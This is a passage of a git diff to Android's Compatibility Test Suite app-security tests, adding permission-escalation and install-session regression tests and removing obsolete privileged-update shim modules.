--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
@@ -19,7 +19,6 @@
 import static android.content.pm.PackageManager.MATCH_DIRECT_BOOT_AWARE;
 import static android.content.pm.PackageManager.MATCH_DIRECT_BOOT_UNAWARE;
 
-import android.app.KeyguardManager;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
@@ -57,7 +56,6 @@
     private Context mCe;
     private Context mDe;
     private PackageManager mPm;
-    private KeyguardManager mKm;
 
     private UiDevice mDevice;
     private AwareActivity mActivity;
@@ -69,7 +67,6 @@
         mCe = getInstrumentation().getContext();
         mDe = mCe.createDeviceProtectedStorageContext();
         mPm = mCe.getPackageManager();
-        mKm = (KeyguardManager) mCe.getSystemService(Context.KEYGUARD_SERVICE);
 
         mDevice = UiDevice.getInstance(getInstrumentation());
         assertNotNull(mDevice);
@@ -103,9 +100,7 @@
 
     public void testTearDown() throws Exception {
         // Just in case, always try tearing down keyguard
-        if (mKm.isKeyguardLocked()) {
-            dismissKeyguard();
-        }
+        dismissKeyguard();
 
         mActivity = launchActivity(getInstrumentation().getTargetContext().getPackageName(),
                 AwareActivity.class, null);
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk
index 777bd65..21263ae 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk
@@ -23,10 +23,11 @@
     cts-aia-util \
     androidx.test.rules \
     ctsdeviceutillegacy-axt \
-    ctstestrunner-axt
+    ctstestrunner-axt \
+    platform-test-annotations \
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
index 58565ea..6d9afb9 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
@@ -23,6 +23,7 @@
 import static org.hamcrest.CoreMatchers.equalTo;
 import static org.hamcrest.CoreMatchers.hasItems;
 import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.CoreMatchers.not;
 import static org.hamcrest.CoreMatchers.notNullValue;
 import static org.hamcrest.CoreMatchers.nullValue;
 import static org.junit.Assert.assertSame;
@@ -65,6 +66,7 @@
 import android.os.Vibrator;
 import android.telephony.PhoneStateListener;
 import android.telephony.TelephonyManager;
+import android.platform.test.annotations.SecurityTest;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
@@ -77,6 +79,7 @@
 import org.junit.runner.RunWith;
 
 import java.io.IOException;
+import java.util.Arrays;
 import java.util.Iterator;
 import java.util.List;
 import java.util.concurrent.CountDownLatch;
@@ -1145,6 +1148,30 @@
     }
 
     @Test
+    @SecurityTest(minPatchLevel = "2020-11")
+    public void testInstallPermissionNotGrantedInPackageInfo() throws Exception {
+        assertThat(isPermissionGrantedInPackageInfo(Manifest.permission.SET_ALARM), is(false));
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-11")
+    public void testInstallPermissionGrantedInPackageInfo() throws Exception {
+        assertThat(isPermissionGrantedInPackageInfo(Manifest.permission.INTERNET), is(true));
+    }
+
+    private static boolean isPermissionGrantedInPackageInfo(String permissionName)
+            throws Exception {
+        final Context context = InstrumentationRegistry.getContext();
+        final PackageInfo packageInfo = context.getPackageManager().getPackageInfo(
+                context.getPackageName(), PackageManager.GET_PERMISSIONS);
+        final int permissionIndex = Arrays.asList(packageInfo.requestedPermissions).indexOf(
+                permissionName);
+        assertThat(permissionIndex, is(not(-1)));
+        return (packageInfo.requestedPermissionsFlags[permissionIndex]
+                & PackageInfo.REQUESTED_PERMISSION_GRANTED) != 0;
+    }
+
+    @Test
     public void testExposedActivity() throws Exception {
         final Bundle testArgs = InstrumentationRegistry.getArguments();
         assertThat(testArgs, is(notNullValue()));
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java
index 3a99f325..86cea52 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java
@@ -442,10 +442,6 @@
         final int originalSetting = Secure.getInt(contentResolver, Secure.INSTANT_APPS_ENABLED, 1);
         Secure.putInt(contentResolver, Secure.INSTANT_APPS_ENABLED, 0);
         try {
-            Thread.sleep(1000);
-        } catch (Exception e) {
-        }
-        try {
             // start the ephemeral activity; using VIEW/BROWSABLE with setting disabled
             try {
                 final Intent startViewIntent = new Intent(Intent.ACTION_VIEW)
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java
index cfccc78..c006c73 100644
--- a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java
@@ -19,6 +19,7 @@
 import static org.junit.Assert.assertSame;
 
 import android.content.Context;
+import android.content.pm.PackageManager;
 import android.content.pm.PermissionInfo;
 
 import androidx.test.InstrumentationRegistry;
@@ -48,5 +49,34 @@
         assertSame("Shouldn't be able to change signature permission to dangerous",
                 PermissionInfo.PROTECTION_SIGNATURE, (stealAudio1Permission2.protectionLevel
                         & PermissionInfo.PROTECTION_MASK_BASE));
-     }
- }
+    }
+
+    @Test
+    public void testRuntimePermissionsAreNotGranted() throws Exception {
+        // TODO (b/172366747): It is weird that the permission cannot become a runtime permission
+        //                     during runtime but can become one during reboot.
+        Context context = InstrumentationRegistry.getTargetContext();
+
+        // Ensure permission is now dangerous but denied
+        PermissionInfo stealAudio1Permission1 = context.getPackageManager()
+                .getPermissionInfo(Manifest.permission.STEAL_AUDIO1, 0);
+        assertSame("Signature permission can become dangerous after reboot",
+                PermissionInfo.PROTECTION_DANGEROUS, (stealAudio1Permission1.protectionLevel
+                        & PermissionInfo.PROTECTION_MASK_BASE));
+
+        assertSame("Permission should be denied",
+                context.checkSelfPermission(Manifest.permission.STEAL_AUDIO1),
+                PackageManager.PERMISSION_DENIED);
+
+        // Ensure permission is now dangerous but denied
+        PermissionInfo stealAudio1Permission2 = context.getPackageManager()
+                .getPermissionInfo(Manifest.permission.STEAL_AUDIO2, 0);
+        assertSame("Signature permission can become dangerous after reboot",
+                PermissionInfo.PROTECTION_DANGEROUS, (stealAudio1Permission2.protectionLevel
+                        & PermissionInfo.PROTECTION_MASK_BASE));
+
+        assertSame("Permission should be denied",
+                context.checkSelfPermission(Manifest.permission.STEAL_AUDIO2),
+                PackageManager.PERMISSION_DENIED);
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.mk b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.mk
index 8521093..e89d574 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_PACKAGE_NAME := CtsPermissionDeclareApp
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 
 # sign this app with a different cert than CtsUsePermissionDiffCert
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.mk b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.mk
index 5f48099..f4e2421 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_PACKAGE_NAME := CtsPermissionDeclareAppCompat
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 
 # sign this app with a different cert than CtsUsePermissionDiffCert
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
index 2ced2b9..4c8dcd5 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
@@ -57,26 +57,6 @@
 include $(BUILD_PREBUILT)
 
 ###########################################################
-# Variant: Privileged app upgrade
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsShimPrivUpgradePrebuilt_v28
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_CLASS := APPS
-LOCAL_BUILT_MODULE_STEM := package.apk
-# Make sure the build system doesn't try to resign the APK
-LOCAL_CERTIFICATE := PRESIGNED
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# The 'arm' apk has both arm and arm64 so's. Same for x86/x86_64.
-my_apk_dir := $(subst arm64,arm,$(TARGET_ARCH))
-my_apk_dir := $(subst x86_64,x86,$(my_apk_dir))
-LOCAL_REPLACE_PREBUILT_APK_INSTALLED := $(LOCAL_PATH)/apk/$(my_apk_dir)/CtsShimPrivUpgrade_v28.apk
-
-include $(BUILD_PREBUILT)
-
-###########################################################
 # Variant: Privileged app upgrade (wrong SHA)
 
 include $(CLEAR_VARS)
@@ -93,21 +73,4 @@
 
 include $(BUILD_PREBUILT)
 
-###########################################################
-# Variant: Privileged app upgrade (wrong SHA)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsShimPrivUpgradeWrongSHAPrebuilt_v28
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_CLASS := APPS
-LOCAL_BUILT_MODULE_STEM := package.apk
-# Make sure the build system doesn't try to resign the APK
-LOCAL_CERTIFICATE := PRESIGNED
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_REPLACE_PREBUILT_APK_INSTALLED := $(LOCAL_PATH)/apk/$(my_apk_dir)/CtsShimPrivUpgradeWrongSHA_v28.apk
-
-include $(BUILD_PREBUILT)
-
 my_apk_dir :=
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgradeWrongSHA_v28.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgradeWrongSHA_v28.apk
deleted file mode 100644
index 2faf2d4..0000000
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgradeWrongSHA_v28.apk
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgrade_v28.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgrade_v28.apk
deleted file mode 100644
index 93f6f19..0000000
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgrade_v28.apk
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgradeWrongSHA_v28.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgradeWrongSHA_v28.apk
deleted file mode 100644
index d7e0826..0000000
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgradeWrongSHA_v28.apk
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgrade_v28.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgrade_v28.apk
deleted file mode 100644
index f0cc8b6..0000000
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgrade_v28.apk
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/src/com/android/cts/privilegedupdate/preparer/PrivilegedUpdateTestPreparer.java b/hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/src/com/android/cts/privilegedupdate/preparer/PrivilegedUpdateTestPreparer.java
deleted file mode 100644
index ffdaf3a..0000000
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdatePreparer/src/com/android/cts/privilegedupdate/preparer/PrivilegedUpdateTestPreparer.java
+++ /dev/null
@@ -1,43 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.privilegedupdate.preparer;
-
-import android.app.Instrumentation;
-import android.content.pm.PackageInfo;
-import android.content.pm.PackageManager;
-import android.os.Bundle;
-import android.support.test.InstrumentationRegistry;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
-
-@RunWith(JUnit4.class)
-public class PrivilegedUpdateTestPreparer {
-    /** Package name of the privileged CTS shim */
-    private static final String PRIVILEGED_SHIM_PKG = "com.android.cts.priv.ctsshim";
-
-    @Test
-    public void getTargetSdk() throws Exception {
-        final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
-        final PackageManager pm = inst.getContext().getPackageManager();
-        final PackageInfo pi = pm.getPackageInfo(PRIVILEGED_SHIM_PKG, 0);
-        final Bundle targetSdkBundle = new Bundle();
-        targetSdkBundle.putString("target_sdk", Integer.toString(pi.applicationInfo.targetSdkVersion));
-        inst.sendStatus(2, targetSdkBundle);
-    }
-}
diff --git a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/AndroidManifest.xml
deleted file mode 100644
index f5cc0d0..0000000
--- a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/AndroidManifest.xml
+++ /dev/null
@@ -1,29 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  Copyright (C) 2018 The Android Open Source Project
-
-  Licensed under the Apache License, Version 2.0 (the "License");
-  you may not use this file except in compliance with the License.
-  You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-  Unless required by applicable law or agreed to in writing, software
-  distributed under the License is distributed on an "AS IS" BASIS,
-  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  See the License for the specific language governing permissions and
-  limitations under the License.
-  -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.reviewpermissionhelper">
-
-    <application>
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation
-            android:name="androidx.test.runner.AndroidJUnitRunner"
-            android:targetPackage="com.android.cts.reviewpermissionhelper" />
-
-</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/src/com/android/cts/reviewpermissionhelper/ReviewPermissionsTest.java b/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/src/com/android/cts/reviewpermissionhelper/ReviewPermissionsTest.java
deleted file mode 100644
index d2ff472..0000000
--- a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/src/com/android/cts/reviewpermissionhelper/ReviewPermissionsTest.java
+++ /dev/null
@@ -1,75 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.reviewpermissionhelper;
-
-import android.app.Instrumentation;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.BySelector;
-import android.support.test.uiautomator.Direction;
-import android.support.test.uiautomator.UiDevice;
-import android.support.test.uiautomator.UiObject2;
-import android.support.test.uiautomator.Until;
-import android.widget.ListView;
-import android.widget.Switch;
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.ArrayList;
-import java.util.List;
-
-@RunWith(AndroidJUnit4.class)
-public final class ReviewPermissionsTest {
-    private static final long UI_TIMEOUT = 5000L;
-    private static final BySelector CONTINUE_BUTTON = By.text("Continue");
-
-    @Test
-    public void approveReviewPermissions() throws Exception {
-        Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
-        PackageManager packageManager = instrumentation.getTargetContext().getPackageManager();
-        boolean isWatch = packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH);
-        if (!isWatch || !packageManager.isPermissionReviewModeEnabled()) return;
-
-        Intent startAutoClosingActivity = new Intent();
-        startAutoClosingActivity.setComponent(
-                new ComponentName(
-                        "com.android.cts.usepermission",
-                        "com.android.cts.usepermission.AutoClosingActivity"));
-        startAutoClosingActivity.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        instrumentation.getTargetContext().startActivity(startAutoClosingActivity);
-
-        UiDevice device = UiDevice.getInstance(instrumentation);
-
-        UiObject2 listView = device.wait(Until.findObject(By.clazz(ListView.class)), UI_TIMEOUT);
-        List<UiObject2> permissionSwitches = new ArrayList<>();
-        UiObject2 continueButton;
-        do {
-            permissionSwitches = device.findObjects(By.clazz(Switch.class).checked(false));
-            for (UiObject2 permissionSwitch : permissionSwitches) {
-                permissionSwitch.click();
-            }
-            listView.scroll(Direction.DOWN, 0.5f);
-            continueButton = device.findObject(CONTINUE_BUTTON);
-        } while (!permissionSwitches.isEmpty() || continueButton == null);
-        device.wait(Until.findObject(CONTINUE_BUTTON), UI_TIMEOUT).click();
-    }
-}
diff --git a/hostsidetests/appsecurity/test-apps/SessionInspector/Android.mk b/hostsidetests/appsecurity/test-apps/SessionInspector/Android.mk
new file mode 100644
index 0000000..bd3fd954
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SessionInspector/Android.mk
@@ -0,0 +1,48 @@
+#
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_SRC_FILES := $(call all-subdir-java-files)
+LOCAL_PACKAGE_NAME := CtsSessionInspectorAppA
+LOCAL_SDK_VERSION := test_current
+LOCAL_MODULE_TAGS := tests
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
+LOCAL_JAVA_LIBRARIES := android.test.base.stubs
+LOCAL_MANIFEST_FILE := a/AndroidManifest.xml
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+
+include $(CLEAR_VARS)
+
+LOCAL_SRC_FILES := $(call all-subdir-java-files)
+LOCAL_PACKAGE_NAME := CtsSessionInspectorAppB
+LOCAL_SDK_VERSION := test_current
+LOCAL_MODULE_TAGS := tests
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
+LOCAL_JAVA_LIBRARIES := android.test.base.stubs
+LOCAL_MANIFEST_FILE := b/AndroidManifest.xml
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/SessionInspector/OWNERS b/hostsidetests/appsecurity/test-apps/SessionInspector/OWNERS
new file mode 100644
index 0000000..9d4a924
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SessionInspector/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 533114
+patb@google.com
+toddke@google.com
+chiuwinson@google.com
diff --git a/tests/tests/telephony4/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SessionInspector/a/AndroidManifest.xml
similarity index 67%
copy from tests/tests/telephony4/AndroidManifest.xml
copy to hostsidetests/appsecurity/test-apps/SessionInspector/a/AndroidManifest.xml
index aa4221f..34aba10 100644
--- a/tests/tests/telephony4/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SessionInspector/a/AndroidManifest.xml
@@ -1,5 +1,5 @@
 <?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2019 The Android Open Source Project
+<!-- Copyright (C) 2020 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
      you may not use this file except in compliance with the License.
@@ -13,20 +13,18 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.telephony4.cts">
+       package="com.android.cts.sessioninspector.a">
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.android.cts.sessioninspector.a" />
+
+    <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES" />
 
     <application>
         <uses-library android:name="android.test.runner" />
+        <activity android:name="com.android.cts.sessioninspector.SessionInspectorActivity"
+                  android:exported="true"/>
     </application>
 
-    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.telephony4.cts"
-                     android:label="CTS tests of android.telephony4">
-        <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-
 </manifest>
-
diff --git a/tests/tests/telephony4/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SessionInspector/b/AndroidManifest.xml
similarity index 67%
rename from tests/tests/telephony4/AndroidManifest.xml
rename to hostsidetests/appsecurity/test-apps/SessionInspector/b/AndroidManifest.xml
index aa4221f..324aa4e 100644
--- a/tests/tests/telephony4/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SessionInspector/b/AndroidManifest.xml
@@ -1,5 +1,5 @@
 <?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2019 The Android Open Source Project
+<!-- Copyright (C) 2020 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
      you may not use this file except in compliance with the License.
@@ -13,20 +13,18 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.telephony4.cts">
+       package="com.android.cts.sessioninspector.b">
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.android.cts.sessioninspector.b" />
+
+    <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES" />
 
     <application>
         <uses-library android:name="android.test.runner" />
+        <activity android:name="com.android.cts.sessioninspector.SessionInspectorActivity"
+                  android:exported="true"/>
     </application>
 
-    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.telephony4.cts"
-                     android:label="CTS tests of android.telephony4">
-        <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-
 </manifest>
-
diff --git a/hostsidetests/appsecurity/test-apps/SessionInspector/src/com/android/cts/sessioninspector/Constants.java b/hostsidetests/appsecurity/test-apps/SessionInspector/src/com/android/cts/sessioninspector/Constants.java
new file mode 100644
index 0000000..6957448
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SessionInspector/src/com/android/cts/sessioninspector/Constants.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.sessioninspector;
+
+import android.net.Uri;
+
+public class Constants {
+    private static final String PKG_BASE = "com.android.cts.sessioninspector.";
+
+    public static final String ACTION_CREATE_SESSION = PKG_BASE + "CREATE_SESSION";
+    public static final String ACTION_GET_SESSION = PKG_BASE + "GET_SESSION";
+    public static final String ACTION_ABANDON_SESSION = PKG_BASE + "ABANDON_SESSION";
+
+    public static final String PACKAGE_A = PKG_BASE + "a";
+    public static final String PACKAGE_B = PKG_BASE + "b";
+
+    public static final String ACTIVITY_NAME = PKG_BASE + "SessionInspectorActivity";
+
+    public static final Uri REFERRER_URI = Uri.parse("https://user-sensitive-domain.com/");
+}
diff --git a/hostsidetests/appsecurity/test-apps/SessionInspector/src/com/android/cts/sessioninspector/SessionInspectorActivity.java b/hostsidetests/appsecurity/test-apps/SessionInspector/src/com/android/cts/sessioninspector/SessionInspectorActivity.java
new file mode 100644
index 0000000..edf90f2
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SessionInspector/src/com/android/cts/sessioninspector/SessionInspectorActivity.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.sessioninspector;
+
+import static android.content.Intent.EXTRA_RESULT_RECEIVER;
+import static android.content.pm.PackageInstaller.EXTRA_SESSION;
+import static android.content.pm.PackageInstaller.EXTRA_SESSION_ID;
+import static android.content.pm.PackageInstaller.SessionInfo;
+import static android.content.pm.PackageInstaller.SessionParams;
+import static android.content.pm.PackageInstaller.SessionParams.MODE_FULL_INSTALL;
+
+import static com.android.cts.sessioninspector.Constants.ACTION_ABANDON_SESSION;
+import static com.android.cts.sessioninspector.Constants.ACTION_CREATE_SESSION;
+import static com.android.cts.sessioninspector.Constants.ACTION_GET_SESSION;
+import static com.android.cts.sessioninspector.Constants.REFERRER_URI;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.os.RemoteCallback;
+
+public class SessionInspectorActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        RemoteCallback remoteCallback = getIntent().getParcelableExtra(EXTRA_RESULT_RECEIVER);
+        final Bundle result = new Bundle();
+        String action = getIntent().getAction();
+        try {
+            switch (action) {
+                case ACTION_CREATE_SESSION:
+                    SessionParams params = new SessionParams(MODE_FULL_INSTALL);
+                    params.setReferrerUri(REFERRER_URI);
+                    final int session =
+                            getPackageManager().getPackageInstaller().createSession(params);
+                    result.putInt(EXTRA_SESSION_ID, session);
+                    break;
+                case ACTION_GET_SESSION: {
+                    final int sessionId = getIntent().getIntExtra(EXTRA_SESSION_ID, 0);
+                    final SessionInfo sessionInfo =
+                            getPackageManager().getPackageInstaller().getSessionInfo(sessionId);
+                    result.putParcelable(EXTRA_SESSION, sessionInfo);
+                    break;
+                }
+                case ACTION_ABANDON_SESSION: {
+                    final int sessionId = getIntent().getIntExtra(EXTRA_SESSION_ID, 0);
+                    getPackageManager().getPackageInstaller().abandonSession(sessionId);
+                    break;
+                }
+                default:
+                    throw new IllegalArgumentException("Unrecognized action: " + action);
+            }
+        } catch (Exception e) {
+            result.putSerializable("error", e);
+        }
